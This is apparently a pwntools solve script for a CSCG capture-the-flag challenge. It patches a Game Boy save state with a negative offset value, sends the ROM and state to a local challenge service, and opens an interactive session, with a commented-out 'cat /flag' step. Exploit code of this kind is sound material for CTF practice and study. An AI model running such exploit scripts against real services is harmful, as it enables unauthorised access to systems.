solve.py (664B)
1#!/usr/bin/env python3 2 3from base64 import b64encode 4from sys import argv,exit 5from pwn import * 6 7context.log_level = "error" 8 9rom = list(open("main.gb", "rb").read()) 10state = list(open("main.state", "rb").read()) 11 12for i,v in enumerate(struct.pack("<i", -0x13)): 13 state[0x10000+i] = v 14 15for i,v in enumerate(struct.pack("<i", 1)): 16 state[0x10004+i] = v 17 18if len(argv) > 1: 19 io = process(argv[1:]) 20else: 21 io = process("ncat localhost 1024".split()) 22io.sendline(b64encode(bytes(rom))) 23io.sendline(b64encode(bytes(state))) 24 25io.interactive() 26# io.sendline(b"cat /flag") 27# data = io.readuntil(b"CSCG", timeout=1) 28# if data != b"": 29# print(io.readline()) 30